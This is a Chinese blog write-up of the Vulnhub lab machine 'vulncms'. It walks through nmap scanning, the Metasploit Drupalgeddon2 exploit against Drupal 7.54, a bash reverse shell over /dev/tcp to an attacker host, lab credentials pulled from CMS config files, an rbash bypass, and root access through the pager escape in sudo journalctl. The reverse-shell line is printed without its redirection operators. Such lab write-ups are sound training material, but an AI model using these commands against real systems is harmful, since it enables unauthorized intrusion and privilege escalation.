banner
言心吾

言心吾のBlog

吾言为心声

Vulnhub靶場復盤 - vulncms

信息收集#

端口掃描#

掃描命令如下:

nmap -sC -sV -p22,80,5000,8081,9001 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.55

掃描結果如下:

Nmap scan report for 192.168.56.55
Host is up (0.00060s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8c:9f:7e:78:82:ef:76:f6:26:23:c9:52:6d:aa:fe:d0 (RSA)
|   256 2a:e2:f6:d2:52:1c:c1:d0:3d:aa:40:e6:b5:08:1d:45 (ECDSA)
|_  256 fa:c9:eb:58:e3:d2:b7:4a:74:77:fc:69:0e:b6:68:08 (ED25519)
80/tcp   open  http    nginx 1.14.0 (Ubuntu)
|_http-title: W3.CSS Template
|_http-server-header: nginx/1.14.0 (Ubuntu)
5000/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-generator: WordPress 5.7.2
|_http-title: fsociety – Just another WordPress site
8081/tcp open  http    nginx 1.14.0 (Ubuntu)
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: nginx/1.14.0 (Ubuntu)
9001/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: fsociety.web

從掃描結果可以看到,除了常見的 HTTP 服務(80 端口)外,目標機器還開放了其他幾個與內容管理系統(CMS)相關的端口,包括:

  • WordPress:端口 5000
  • Joomla:端口 8081
  • Drupal:端口 9001

這表明該靶場包含了多個知名 CMS 系統,因此可以根據這些信息選擇合適的攻擊路徑。

版本識別與漏洞分析#

首先,常規的思路一定是先目錄掃描,可以發現潛在的後台路徑和版本信息。然後重點就是 cms 版本分析,看看有沒有可利用的 nday。

WordPress#

通過訪問 http://fsociety.web:5000/rss/ 頁面,我們能夠看到 WordPress 框架的版本信息:5.7.2,其實直接使用 wappalyzer 插件也能獲取版本信息。

image

然後通過 wpscan 工具進行掃描,

wpscan --url http://192.168.56.55:5000 -e u,vp --plugins-detection aggressive --api-token xxxxxxxx

沒有發現特別嚴重的版本和插件漏洞。
image

image

Joomla#

使用 cmseek 對 Joomla 進行掃描,
image

得到版本為 Joomla 3.4.3。該版本存在遠程代碼執行(RCE)漏洞,能夠通過特定的惡意請求來執行任意代碼。

image

Joomla RCE Exploit

Drupal#

通過特定的路徑http://192.168.56.55:9001/CHANGELOG.txt確認了 Drupal 版本為 7.54,這是一個廣泛受到關注的版本,存在多個已知漏洞。

image

漏洞利用#

對於 Joomla,我嘗試了 https://github.com/kiks7/rusty_joomla_rce 這個 POC
image

但沒有成功。

然而,Drupal 7.54 存在一個著名的漏洞(Drupalgeddon2),可以通過 Metasploit 直接利用。利用該漏洞的方法如下:

  1. 啟動 Metasploit 控制台:

    msfconsole
    
  2. 加載 Drupalgeddon2 漏洞模塊:

    use exploit/unix/webapp/drupal_drupalgeddon2
    
  3. 設置目標信息:

    set RHOSTS 192.168.56.55
    set RPORT 9001
    set LHOST 192.168.56.100
    
  4. 執行攻擊:

    run
    

成功後,即可獲得目標系統 Initial Access 權限。

image

雖然 msf 提供的 shell -t 命令已經是一個非常好用的偽終端了,但我個人更傾向於反彈一個 shell 回來,這樣更為靈活:

bash -c "bash -i /dev/tcp/192.168.56.100/4444 0>&1"

穩定並升級一下 shell:

image

提權#

首先,查看 /etc/passwd 文件中的用戶信息,發現有一個 elliot 用戶使用的是 rbash,需要留意。

www-data@vuln_cms:/opt$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ghost:x:1000:1000:tombstoneGhost:/home/ghost:/bin/bash
elliot:x:1001:1001::/home/elliot:/bin/rbash
tyrell:x:1002:1002::/home/tyrell:/bin/bash

尋找配置信息(用戶密碼)#

然後直接運行 linpeas,看看能否獲得進一步的線索。很好,在 drupal 站點的 settings.php 文件中找到了數據庫的憑據:

image

grep -C 5 'pass' /var/www/html/drupal/sites/default/settings.php

得到的數據庫憑據為:

array (
  'default' => 
  array (
    'database' => 'drupal_db',
    'username' => 'drupal_admin',
    'password' => 'p@$$_C!rUP@!_cM5',
    'host' => 'localhost',
    'port' => '',
    'driver' => 'mysql',
    'prefix' => '',
  ),
)

通過連接到 MariaDB 數據庫,查看了 drupal_db 中的 users 表,但發現該表的密碼是加鹽哈希,沒有直接的價值。

MariaDB [drupal_db]> describe users;
+------------------+------------------+------+-----+---------+-------+
| Field            | Type             | Null | Key | Default | Extra |
+------------------+------------------+------+-----+---------+-------+
| uid              | int(10) unsigned | NO   | PRI | 0       |       |
| name             | varchar(60)      | NO   | UNI |         |       |
| pass             | varchar(128)     | NO   |     |         |       |
| mail             | varchar(254)     | YES  | MUL |         |       |
| theme            | varchar(255)     | NO   |     |         |       |
| signature        | varchar(255)     | NO   |     |         |       |
| signature_format | varchar(255)     | YES  |     | NULL    |       |
| created          | int(11)          | NO   | MUL | 0       |       |
| access           | int(11)          | NO   | MUL | 0       |       |
| login            | int(11)          | NO   |     | 0       |       |
| status           | tinyint(4)       | NO   |     | 0       |       |
| timezone         | varchar(32)      | YES  |     | NULL    |       |
| language         | varchar(12)      | NO   |     |         |       |
| picture          | int(11)          | NO   | MUL | 0       |       |
| init             | varchar(254)     | YES  |     |         |       |
| data             | longblob         | YES  |     | NULL    |       |
+------------------+------------------+------+-----+---------+-------+

MariaDB [drupal_db]> select name,pass from users;
+------------------+---------------------------------------------------------+
| name             | pass                                                    |
+------------------+---------------------------------------------------------+
|                  |                                                         |
| admin_cms_drupal | $S$DADmuahqIEcfhp8mqTQ/ystjAyQdBA46h/VXbd89wutU4aKRmNpi |
+------------------+---------------------------------------------------------+

接著,自然想到去看看 wordpress 的配置文件,同樣獲取了數據庫的用戶名和密碼:

define( 'DB_USER', 'wp_admin' );
define( 'DB_PASSWORD', 'UUs3R_C!B@p@55' );

不過,通過查詢 wp_users 表,發現密碼依然是加鹽哈希值,沒有直接破解價值:

MariaDB [wordpress_db]> select user_login, user_pass from wp_users;
+-----------------+------------------------------------+
| user_login      | user_pass                          |
+-----------------+------------------------------------+
| wordpress_admin | $P$ByXz8klWHk6kmTctrN/8vfzXGqLfab/ |
+-----------------+------------------------------------+

對於 joomla,通過查看配置文件 configuration.php,獲取了數據庫憑據:

public $user = 'joomla_admin';
public $password = 'j00m1_@_dBpA$$';
public $db = 'joomla_db';

在數據庫中查詢了 hs23w_users 表,獲取了兩個用戶的哈希密碼,同樣沒有直接價值:

MariaDB [joomla_db]> select username, password from hs23w_users;
+-----------------+--------------------------------------------------------------+
| username        | password                                                     |
+-----------------+--------------------------------------------------------------+
| joomlaCMS_admin | $2y$10$EYc6SKfMLzlLE/IcD9a6XeAe2Uv7WTBFlbbqRrnpht1K0M1bLrWee |
| elliot          | $2y$10$jddnEQpjriJX9jPxh6C/hOag4ZZXae4iVhL7GVRPC9SHWgqbi4SYy |
+-----------------+--------------------------------------------------------------+

提權 - elliot 賬戶#

發現重要憑據#

/opt 目錄下,發現了一個憑據文件 8081.cred,其中存儲了 joomlaCMS_admin 的用戶名和密碼:

www-data@vuln_cms:/opt$ cat 8081.cred 
Username: joomlaCMS_admin
Password: _q4gWWJuBWt8cqfbUm-cdevR?L@N7-pR

使用這個憑據登錄 Joomla 後台(注意一定要在後台登錄):

http://192.168.56.55:8081/administrator/

image

登錄成功後,發現了 elliot 用戶的密碼:5T3e!_M0un7i@N

image

繞過 rbash#

由於 elliot 用戶是使用 rbash,我們嘗試通過以下命令繞過這個限制:

ssh [email protected] -t bash

在家目錄下成功讀取 user flag

image

提權 - tyrell 賬戶#

繼續進行信息收集和提權操作時,把常規的提權思路試了個遍,然而都沒有取得成果。就在這時,突然想起還有另一個用戶賬戶 tyrell,我決定檢查下這個賬戶是否也隱藏有密碼。

查找 tyrell 相關文件#

通過以下命令,我在系統中查找與 tyrell 相關的文件:

elliot@vuln_cms:~$ find / -iname '*tyrell*' -type f 2>/dev/null
/var/www/html/drupal/misc/tyrell.pass

發現了一個名為 tyrell.pass 的文件,接著查看其內容:

elliot@vuln_cms:~$ cat /var/www/html/drupal/misc/tyrell.pass
Username: tyrell
Password: mR_R0bo7_i5_R3@!_  

成功找到了 tyrell 的密碼!

切換至 tyrell 用戶#

使用獲得的密碼進行切換:

elliot@vuln_cms:~$ su - tyrell
Password: mR_R0bo7_i5_R3@!_
tyrell@vuln_cms:~$ id
uid=1002(tyrell) gid=1002(tyrell) groups=1002(tyrell)

此時,成功切換為 tyrell 用戶。

sudo 提權#

檢查 tyrell 用戶是否有 sudo 權限:

tyrell@vuln_cms:~$ sudo -l
Matching Defaults entries for tyrell on vuln_cms:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User tyrell may run the following commands on vuln_cms:
    (root) NOPASSWD: /bin/journalctl

tyrell 用戶可以無密碼使用 sudo 執行 /bin/journalctl 命令。

先用 ls -lfilestrings 簡單分析一下這個程序,然後我嘗試直接運行程序,觀察其行為:

image

發現調用了分頁器顯示內容。於是,直接通過 !bash 提權,就成功地以 root 權限獲得了一個 Bash shell。

這個命令在 gtfobins 網站上也能找到相關的提權技巧
image

root 用戶目錄下,成功找到了 root.txt 文件,並成功讀取文件中的 flag 值。

image

總結#

在滲透測試初期,我首先進行了 CMS 版本分析,並成功通過 Metasploit 利用 Drupal 的漏洞突破了邊界。提權階段,一開始分別查看了三個 CMS 的配置文件,並深入數據庫進行搜索,儘管沒有直接找到有用的信息,但這種思路依然是滲透測試中常用的路徑。隨後,在 /opt 目錄下,我發現了 Joomla 後台的賬號密碼,並通過後台訪問獲得了 Elliot 用戶的密碼。

繼續進行信息收集並查找系統中隱藏的密碼文件後,我成功獲得了 tyrell 用戶的憑據。進一步分析後,發現該用戶擁有 sudo 權限,能夠執行 /bin/journalctl。借助這一點,我成功提權到 root,並最終獲取了 root 目錄下的 flag。

至此,整個滲透測試過程圓滿結束!

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。